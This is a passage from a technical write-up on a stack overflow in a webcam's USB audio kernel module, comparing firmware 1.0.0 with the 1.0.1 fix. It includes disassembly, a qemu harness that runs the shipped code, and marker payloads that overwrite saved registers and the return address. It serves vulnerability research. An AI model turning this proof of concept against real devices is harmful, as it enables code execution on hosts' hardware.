  &lt;span class="n"&gt;e6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="n"&gt;d1eb&lt;/span&gt;        &lt;span class="k"&gt;bne&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;   &lt;span class="n"&gt;c0&lt;/span&gt;
  &lt;span class="n"&gt;e8&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;680a&lt;/span&gt;        &lt;span class="k"&gt;ldr&lt;/span&gt; &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0]&lt;/span&gt;
  &lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;   &lt;span class="mi"&gt;8812&lt;/span&gt;        &lt;span class="n"&gt;ldrh&lt;/span&gt;    &lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;#0]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both firmware versions load this module from their init scripts, and both turn legacy UAC1 on with &lt;code&gt;uac_function_enable=2&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;insmod /lib/modules/4.9.84/usb_f_uac1.ko
insmod /lib/modules/4.9.84/usb_f_uvc.ko
insmod /lib/modules/4.9.84/g_webcam.ko &lt;span class="nv"&gt;idVendor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x17ef &lt;span class="nv"&gt;idProduct&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0x4839 \
  &lt;span class="nv"&gt;iSerialNumber&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;145081A8 &lt;span class="nv"&gt;streaming_maxpacket&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;3072 &lt;span class="nv"&gt;streaming_maxburst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;13 \
  &lt;span class="nv"&gt;uvc_function_enable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nv"&gt;uac_function_enable&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nv"&gt;p_srate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;16000 &lt;span class="nv"&gt;p_mpsize&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The difference is the contents of the module. Legacy UAC1 stays enabled in both.&lt;/p&gt;

&lt;h2&gt;
  
  
  The request struct is 12 bytes larger than mainline
&lt;/h2&gt;

&lt;p&gt;The shipping instructions read &lt;code&gt;struct usb_request&lt;/code&gt; at fixed offsets:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Instruction&lt;/th&gt;
&lt;th&gt;Offset&lt;/th&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ldrd r1, r2, [r1]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;0 / 4&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;buf&lt;/code&gt;, &lt;code&gt;length&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ldr r4, [r1, #44]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;44&lt;/td&gt;
&lt;td&gt;&lt;code&gt;context&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ldr r6, [r1, #56]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;56&lt;/td&gt;
&lt;td&gt;&lt;code&gt;status&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ldr r2, [r1, #60]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;60&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;actual&lt;/code&gt; (1.0.1 compares the length against this)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Laid out with the ARM EABI, mainline 4.9.84 puts those fields at 32 / 44 / 48, which does not match. After a 12-byte reserved area is added in front of the &lt;code&gt;complete&lt;/code&gt; function pointer, the three offsets line up and the struct is 64 bytes. The program below checks that.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

struct list_head {
    struct list_head *next, *prev;
};

typedef void (*complete_fn)(void *ep, void *req);

struct usb_request_mainline {
    void *buf;
    unsigned length;
    unsigned dma;
    void *sg;
    unsigned num_sgs;
    unsigned num_mapped_sgs;
    unsigned stream_id:16;
    unsigned no_interrupt:1;
    unsigned zero:1;
    unsigned short_not_ok:1;
    complete_fn complete;
    void *context;
    struct list_head list;
    int status;
    unsigned actual;
};

struct usb_request_vendor {
    void *buf;
    unsigned length;
    unsigned dma;
    void *sg;
    unsigned num_sgs;
    unsigned num_mapped_sgs;
    unsigned stream_id:16;
    unsigned no_interrupt:1;
    unsigned zero:1;
    unsigned short_not_ok:1;
    unsigned reserved[3];
    complete_fn complete;
    void *context;
    struct list_head list;
    int status;
    unsigned actual;
};

static int check(const char *tag, size_t ctx, size_t st, size_t act, size_t sz)
{
    int ok = (ctx == 44 &amp;amp;&amp;amp; st == 56 &amp;amp;&amp;amp; act == 60);
    printf("%-10s context=%-3zu status=%-3zu actual=%-3zu size=%-3zu  %s\n",
           tag, ctx, st, act, sz, ok ? "matches shipping module" : "mismatch");
    return ok;
}

int main(void)
{
    printf("shipping module requires: context=44 status=56 actual=60\n\n");
    check("mainline",
          offsetof(struct usb_request_mainline, context),
          offsetof(struct usb_request_mainline, status),
          offsetof(struct usb_request_mainline, actual),
          sizeof(struct usb_request_mainline));
    int ok = check("vendor",
               offsetof(struct usb_request_vendor, context),
               offsetof(struct usb_request_vendor, status),
               offsetof(struct usb_request_vendor, actual),
               sizeof(struct usb_request_vendor));
    return ok ? 0 : 1;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;arm-linux-gnueabihf-gcc -static -o layout_check layout_check.c
qemu-arm ./layout_check
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;shipping module requires: context=44 status=56 actual=60

mainline   context=32  status=44  actual=48  size=52   mismatch
vendor     context=44  status=56  actual=60  size=64   matches shipping module
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The shipping module is compiled against the vendor's modified kernel ABI. Dropping it into a mainline kernel whose struct was left unchanged reads the wrong fields.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;audio&lt;/code&gt; and &lt;code&gt;control&lt;/code&gt; offsets come from the same disassembly: &lt;code&gt;set_cmd&lt;/code&gt; is at &lt;code&gt;audio+196&lt;/code&gt;, &lt;code&gt;set_con&lt;/code&gt; is at &lt;code&gt;audio+204&lt;/code&gt;, &lt;code&gt;type&lt;/code&gt; is at &lt;code&gt;con+12&lt;/code&gt;, and the &lt;code&gt;set&lt;/code&gt; callback is at &lt;code&gt;con+36&lt;/code&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Running the shipping instructions
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;.text&lt;/code&gt; in both modules starts at file offset &lt;code&gt;0x58&lt;/code&gt;. The function is at offset &lt;code&gt;0xa8&lt;/code&gt; inside the section. The 1.0.0 slice is 50 bytes. The 1.0.1 slice is 70 bytes. The SHA-256 values of the slices are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  1.0.0: &lt;code&gt;4ee0948f824f5b054c912fde345a7f6bebde1c3f840311df6d0509f924dfca09&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;  1.0.1: &lt;code&gt;b896f492fdfba285aecb67b1fd4cc76671885354399e1c284bba1eeb1d6f5097&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1.0.0&lt;/span&gt;
dd &lt;span class="nv"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;usb_f_uac1.ko &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f491.bin &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x58+0xa8&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;50
&lt;span class="c"&gt;# 1.0.1&lt;/span&gt;
dd &lt;span class="nv"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;usb_f_uac1.ko &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;f493.bin &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;0x58+0xa8&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;70
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The function has one external call, at slice offset &lt;code&gt;0x18&lt;/code&gt;, with relocation type &lt;code&gt;R_ARM_THM_CALL&lt;/code&gt;. In 1.0.0 it points at &lt;code&gt;memcpy&lt;/code&gt;. In 1.0.1 it points at &lt;code&gt;usb_ep_set_halt&lt;/code&gt;. Every other byte stays as it shipped. The runner retargets only that one &lt;code&gt;BL&lt;/code&gt; at a local stub, because the kernel symbols inside the module do not exist in a user-mode program.&lt;/p&gt;

&lt;p&gt;The description prepared for 1.0.0 is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"offset"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;168&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"size"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"sha256"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"4ee0948f824f5b054c912fde345a7f6bebde1c3f840311df6d0509f924dfca09"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"external_calls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"off"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"symbol"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"memcpy"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For 1.0.1, &lt;code&gt;size&lt;/code&gt; becomes 70, &lt;code&gt;symbol&lt;/code&gt; becomes &lt;code&gt;usb_ep_set_halt&lt;/code&gt;, and the hash is the one above. &lt;code&gt;offset&lt;/code&gt; is decimal, so &lt;code&gt;0xa8&lt;/code&gt; is 168. &lt;code&gt;off&lt;/code&gt; is decimal, so &lt;code&gt;0x18&lt;/code&gt; is 24.&lt;/p&gt;

&lt;p&gt;The runner is below. The machine code sits in the program's own data page because a Thumb &lt;code&gt;BL&lt;/code&gt; only reaches about ±16 MB, and an &lt;code&gt;mmap&lt;/code&gt; at a high address cannot reach the stub. The entry address is OR-ed with 1. Otherwise the CPU decodes the Thumb bytes in ARM state.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;

#define OFF_REQ_BUF        0
#define OFF_REQ_LENGTH     4
#define OFF_REQ_CONTEXT   44
#define OFF_REQ_STATUS    56
#define OFF_REQ_ACTUAL    60
#define REQ_SIZE          64

#define OFF_AUDIO_SET_CMD 196
#define OFF_AUDIO_SET_CON 204
#define AUDIO_SIZE        208

#define OFF_CON_TYPE      12
#define OFF_CON_SET       36
#define CON_SIZE          40

#define UAC_FU_VOLUME      2

static volatile int      g_memcpy_called;
static volatile unsigned g_memcpy_len;
static volatile int      g_halt_called;
static volatile int      g_set_called;
static volatile uint32_t g_set_value;

void harness_memcpy(void *dst, const void *src, unsigned n)
{
    g_memcpy_called = 1;
    g_memcpy_len = n;
    memcpy(dst, src, n);
}

int harness_set_halt(void *ep, int value)
{
    (void)ep;
    (void)value;
    g_halt_called = 1;
    return 0;
}

static void fake_con_set(void *con, unsigned char cmd, uint32_t data)
{
    (void)con;
    (void)cmd;
    g_set_called = 1;
    g_set_value = data;
}

typedef struct { int off; char symbol[64]; } call_t;
typedef struct {
    unsigned offset, size;
    char     sha256[80];
    call_t   calls[8];
    int      ncalls;
} meta_t;

static int load_meta(const char *path, meta_t *m)
{
    FILE *f = fopen(path, "r");
    if (!f)
        return -1;
    char buf[8192];
    size_t n = fread(buf, 1, sizeof(buf) - 1, f);
    fclose(f);
    buf[n] = 0;
    memset(m, 0, sizeof(*m));

    char *p;
    if ((p = strstr(buf, "\"offset\"")))
        m-&amp;gt;offset = (unsigned)strtoul(p + 9, NULL, 0);
    if ((p = strstr(buf, "\"size\"")))
        m-&amp;gt;size = (unsigned)strtoul(p + 7, NULL, 0);
    if ((p = strstr(buf, "\"sha256\"")))
        sscanf(p + 9, " \"%79[0-9a-f]", m-&amp;gt;sha256);

    if ((p = strstr(buf, "\"external_calls\""))) {
        while (m-&amp;gt;ncalls &amp;lt; 8) {
            char *o = strstr(p, "\"off\"");
            char *s = strstr(p, "\"symbol\"");
            if (!o || !s)
                break;
            m-&amp;gt;calls[m-&amp;gt;ncalls].off = (int)strtoul(o + 6, NULL, 0);
            sscanf(s + 9, " \"%63[^\"]", m-&amp;gt;calls[m-&amp;gt;ncalls].symbol);
            m-&amp;gt;ncalls++;
            p = s + 9;
        }
    }
    return 0;
}

volatile uint32_t g_out_r4, g_out_r5, g_out_r6;
static unsigned char g_code_page[4096] __attribute__((aligned(4096)));

extern void run_guest(void *fn, void *req);

__asm__(
".syntax unified\n"
".text\n"
".arm\n"
".global run_guest\n"
".type run_guest, %function\n"
"run_guest:\n"
"    push  {r4-r11, lr}\n"
"    mov   r4, r0\n"
"    mov   r5, r1\n"
"    mov   r0, r5\n"
"    mov   r1, r5\n"
"    blx   r4\n"
"    ldr   r7, =g_out_r4\n"
"    str   r4, [r7]\n"
"    ldr   r7, =g_out_r5\n"
"    str   r5, [r7]\n"
"    ldr   r7, =g_out_r6\n"
"    str   r6, [r7]\n"
"    pop   {r4-r11, pc}\n"
".ltorg\n"
".size run_guest, .-run_guest\n"
);

static uint32_t g_wlen;
static char     g_mode[16];

static void fault_handler(int sig, siginfo_t *si, void *ctx)
{
    (void)sig;
    (void)ctx;
    uint32_t addr = (uint32_t)(uintptr_t)si-&amp;gt;si_addr;
    printf("RESULT wlen=%u mode=%s verdict=FAULT fault_addr=%#010x "
           "memcpy_called=%d memcpy_len=%u halt_called=%d\n",
           g_wlen, g_mode, addr, g_memcpy_called, g_memcpy_len, g_halt_called);
    fflush(stdout);
    _exit(0);
}

int main(int argc, char **argv)
{
    if (argc &amp;lt; 4) {
        fprintf(stderr, "usage: %s &amp;lt;blob.bin&amp;gt; &amp;lt;meta.json&amp;gt; &amp;lt;wLength&amp;gt; [readme]\n", argv[0]);
        return 2;
    }
    const char *blobpath = argv[1];
    const char *metapath = argv[2];
    unsigned wlen = (unsigned)strtoul(argv[3], NULL, 0);
    int readme_mode = (argc &amp;gt; 4 &amp;amp;&amp;amp; strcmp(argv[4], "readme") == 0);

    g_wlen = wlen;
    snprintf(g_mode, sizeof(g_mode), "%s", readme_mode ? "readme" : "slots");

    meta_t meta;
    if (load_meta(metapath, &amp;amp;meta) != 0) {
        fprintf(stderr, "cannot read metadata %s\n", metapath);
        return 2;
    }

    FILE *f = fopen(blobpath, "rb");
    if (!f) {
        perror("blob");
        return 2;
    }
    size_t got = fread(g_code_page, 1, sizeof(g_code_page), f);
    fclose(f);
    if (got != meta.size) {
        fprintf(stderr, "blob size mismatch: read %zu, metadata %u\n", got, meta.size);
        return 2;
    }
    if (mprotect((void *)((uintptr_t)g_code_page &amp;amp; ~(uintptr_t)0xfff),
             4096, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) {
        perror("mprotect");
        return 2;
    }
    unsigned char *code = g_code_page;
    uintptr_t fn = (uintptr_t)code | 1;

    /* Thumb BL: the low 16 bits are the halfword that runs first, 11110 S imm10.
     * The high 16 bits are 11 J1 1 J2 imm11. I1 = ~(J1 ^ S), I2 = ~(J2 ^ S). */
    for (int i = 0; i &amp;lt; meta.ncalls; i++) {
        int off = meta.calls[i].off;
        uint32_t insn;
        memcpy(&amp;amp;insn, code + off, 4);

        uint32_t hw1 = insn &amp;amp; 0xffff;
        uint32_t hw2 = (insn &amp;gt;&amp;gt; 16) &amp;amp; 0xffff;
        if ((hw1 &amp;amp; 0xf800) != 0xf000 || (hw2 &amp;amp; 0xd000) != 0xd000) {
            fprintf(stderr, "blob+%#x is not a Thumb BL: %#010x\n", off, insn);
            return 3;
        }

        void *stub = NULL;
        if (!strcmp(meta.calls[i].symbol, "memcpy"))
            stub = harness_memcpy;
        else if (!strcmp(meta.calls[i].symbol, "usb_ep_set_halt"))
            stub = harness_set_halt;
        if (!stub) {
            fprintf(stderr, "unknown external call %s\n", meta.calls[i].symbol);
            return 3;
        }

        uint32_t here = (uint32_t)(uintptr_t)(code + off);
        int32_t rel = (int32_t)((uint32_t)(uintptr_t)stub - (here + 4));
        uint32_t s = (uint32_t)rel;
        uint32_t S = (s &amp;gt;&amp;gt; 24) &amp;amp; 1;
        uint32_t I1 = (s &amp;gt;&amp;gt; 23) &amp;amp; 1;
        uint32_t I2 = (s &amp;gt;&amp;gt; 22) &amp;amp; 1;
        uint32_t J1 = (~(I1 ^ S)) &amp;amp; 1;
        uint32_t J2 = (~(I2 ^ S)) &amp;amp; 1;
        uint32_t imm10 = (s &amp;gt;&amp;gt; 12) &amp;amp; 0x3ff;
        uint32_t imm11 = (s &amp;gt;&amp;gt; 1) &amp;amp; 0x7ff;
        uint32_t nhw1 = 0xf000 | (S &amp;lt;&amp;lt; 10) | imm10;
        uint32_t nhw2 = 0xd000 | (J1 &amp;lt;&amp;lt; 13) | (J2 &amp;lt;&amp;lt; 11) | imm11;
        uint32_t newinsn = (nhw2 &amp;lt;&amp;lt; 16) | nhw1;
        memcpy(code + off, &amp;amp;newinsn, 4);

        uint32_t back_imm = ((newinsn &amp;amp; 0x7ff) &amp;lt;&amp;lt; 12)
                  | (((newinsn &amp;gt;&amp;gt; 16) &amp;amp; 0x7ff) &amp;lt;&amp;lt; 1);
        if (back_imm &amp;amp; 0x400000)
            back_imm |= 0xff800000;
        uint32_t back_target = here + 4 + back_imm;
        if (back_target != ((uint32_t)(uintptr_t)stub &amp;amp; ~1u)) {
            fprintf(stderr, "relocation read-back does not match\n");
            return 3;
        }
    }
    __builtin___clear_cache((char *)code, (char *)code + 4096);

    static unsigned char req[REQ_SIZE] __attribute__((aligned(8)));
    static unsigned char audio[AUDIO_SIZE] __attribute__((aligned(8)));
    static unsigned char con[CON_SIZE] __attribute__((aligned(8)));
    memset(req, 0, sizeof(req));
    memset(audio, 0, sizeof(audio));
    memset(con, 0, sizeof(con));

    unsigned char *payload = calloc(1, wlen ? wlen : 1);
    if (readme_mode) {
        memset(payload, 0x41, wlen);
    } else {
        memset(payload, 0x41, wlen);
        const uint32_t mark_r4 = 0x4a4a4a4a;
        const uint32_t mark_r5 = 0x4b4b4b4b;
        const uint32_t mark_r6 = 0x4c4c4c4c;
        const uint32_t mark_pc = 0x4d4d4d4d;
        const struct { unsigned off; uint32_t val; } slots[] = {
            { 0x04, mark_r4 }, { 0x08, mark_r5 },
            { 0x0c, mark_r6 }, { 0x10, mark_pc },
        };
        for (unsigned i = 0; i &amp;lt; 4; i++)
            if (slots[i].off + 4 &amp;lt;= wlen)
                memcpy(payload + slots[i].off, &amp;amp;slots[i].val, 4);
    }

    unsigned char ctype = UAC_FU_VOLUME;
    memcpy(con + OFF_CON_TYPE, &amp;amp;ctype, 1);

    void *setptr = (void *)fake_con_set;
    void *audioptr = audio;
    void *conptr = con;
    int status = 0;
    unsigned actual = wlen;

    memcpy(req + OFF_REQ_BUF, &amp;amp;payload, sizeof(payload));
    memcpy(req + OFF_REQ_LENGTH, &amp;amp;wlen, sizeof(wlen));
    memcpy(req + OFF_REQ_CONTEXT, &amp;amp;audioptr, sizeof(audioptr));
    memcpy(req + OFF_REQ_STATUS, &amp;amp;status, sizeof(status));
    memcpy(req + OFF_REQ_ACTUAL, &amp;amp;actual, sizeof(actual));

    unsigned char cmd = 0x01;
    memcpy(audio + OFF_AUDIO_SET_CMD, &amp;amp;cmd, 1);
    memcpy(audio + OFF_AUDIO_SET_CON, &amp;amp;conptr, sizeof(conptr));
    memcpy(con + OFF_CON_SET, &amp;amp;setptr, sizeof(setptr));

    struct sigaction sa;
    memset(&amp;amp;sa, 0, sizeof(sa));
    sa.sa_sigaction = fault_handler;
    sa.sa_flags = SA_SIGINFO;
    sigaction(SIGSEGV, &amp;amp;sa, NULL);
    sigaction(SIGBUS, &amp;amp;sa, NULL);
    sigaction(SIGILL, &amp;amp;sa, NULL);

    run_guest((void *)fn, req);

    printf("RESULT wlen=%u mode=%s verdict=RETURN saved_r4=%#010x saved_r5=%#010x "
           "saved_r6=%#010x memcpy_called=%d memcpy_len=%u halt_called=%d "
           "set_called=%d set_value=%#06x\n",
           wlen, g_mode, g_out_r4, g_out_r5, g_out_r6,
           g_memcpy_called, g_memcpy_len, g_halt_called,
           g_set_called, g_set_value);
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;arm-linux-gnueabihf-gcc -O1 -static -o call call.c
qemu-arm ./call f491.bin f491.json 32
qemu-arm ./call f491.bin f491.json 32 readme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the last argument is left off, the payload places &lt;code&gt;0x4a4a4a4a&lt;/code&gt;, &lt;code&gt;0x4b4b4b4b&lt;/code&gt;, &lt;code&gt;0x4c4c4c4c&lt;/code&gt;, and &lt;code&gt;0x4d4d4d4d&lt;/code&gt; at offsets 4, 8, 12, and 16, so the overwritten slot can be seen. Adding &lt;code&gt;readme&lt;/code&gt; fills the whole buffer with &lt;code&gt;0x41&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Length scan for 1.0.0:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;wLength&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;th&gt;Saved r4&lt;/th&gt;
&lt;th&gt;Saved r5&lt;/th&gt;
&lt;th&gt;Saved r6&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;normal return&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;normal return&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;normal return&lt;/td&gt;
&lt;td&gt;low byte written as &lt;code&gt;0x41&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;normal return&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4a4a4a4a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;normal return&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4a4a4a4a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4b4b4b4b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;normal return&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4a4a4a4a&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4b4b4b4b&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0x4c4c4c4c&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20, and also 24, 28, 32, 64, 316&lt;/td&gt;
&lt;td&gt;instruction-fetch fault&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;td&gt;—&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;From 20 bytes on, the fault address is &lt;code&gt;0x4d4d4d4c&lt;/code&gt;. The return address written was &lt;code&gt;0x4d4d4d4d&lt;/code&gt;. The low bit is the Thumb state bit, and the CPU clears it before taking the branch.&lt;/p&gt;

&lt;p&gt;The run with 32 bytes of &lt;code&gt;0x41&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RESULT wlen=32 mode=readme verdict=FAULT fault_addr=0x41414140 memcpy_called=1 memcpy_len=32 halt_called=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;memcpy&lt;/code&gt; was called, and the length was the 32 supplied by the host. Return address &lt;code&gt;0x41414141&lt;/code&gt; becomes the branch target &lt;code&gt;0x41414140&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The same payloads against the 70-byte slice from 1.0.1:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;wLength&lt;/th&gt;
&lt;th&gt;memcpy called&lt;/th&gt;
&lt;th&gt;r4 on the stack&lt;/th&gt;
&lt;th&gt;Stall&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;no&lt;/td&gt;
&lt;td&gt;unchanged&lt;/td&gt;
&lt;td&gt;yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
